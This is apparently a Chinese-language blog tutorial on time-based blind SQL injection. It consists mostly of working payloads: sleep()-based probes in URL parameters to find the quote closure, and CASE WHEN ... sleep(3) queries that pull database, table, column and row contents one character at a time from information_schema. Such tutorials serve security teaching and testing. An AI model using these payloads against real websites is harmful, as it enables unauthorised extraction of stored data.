基于时间延迟的注入

网页在输入正确或错误的sql语句只显示一个页面,我们可以构造一个时间函数,通过判断来判断sql语句,通过时间执行的长短测试sql语句是否执行正确。

一、找到数据库语句的闭合符号

?id=2' and if(1,sleep(10),1) --+ 语句闭合正确网站就会睡眠10s,我们会看到浏览器的小圈圈一直转10s。

二、用盲注的方法继续判断其他字段

通过修改database(语句继续用盲注的方法判断其他字段,参考基于布尔型的注入)

?id=2' and if((select length(database()))>8 ,sleep(5),1) --+  判断当前数据库的名字是否大于8

三、单引号绕过

insert into aa(bb) VALUES(‘123’+(select case when 1 then sleep(3) else 1 end))

1、猜数据库长度
select case when length((select database()))=4 then sleep(3) else 1 end
2、逐个猜数据库名字
select case when substr((select database()) from 1 for 1)="t" then sleep(3) else 1 end
3、猜所有数据库表长度
select case when (length((select group_concat(table_name) from information_schema.tables where table_schema=database()))=87) then sleep(3) else 1 end
4、猜数据库表
select case when (substr((select group_concat(table_name) from information_schema.tables where table_schema=database()) from 1 for 1)='a') then sleep(3) else 1 end
5、猜所有字段长度
select case when (length((select group_concat(column_name) from information_schema.columns where table_schema='test' and table_name='aa'))=5) then sleep(3) else 1 end
6、猜所有字段
select case when (substr((select group_concat(column_name) from information_schema.columns where table_schema='test' and table_name='aa') from 1 for 1)='I') then sleep(3) else 1 end
7、猜内容长度
select case when (length((select group_concat(bb) from aa)) = 68) then sleep(3) else 1 end
8、猜内容
select case when substr((select group_concat(bb) from aa) from 1 for 1)="f" then sleep(3) else 1 end

发表评论

电子邮件地址不会被公开。 必填项已用*标注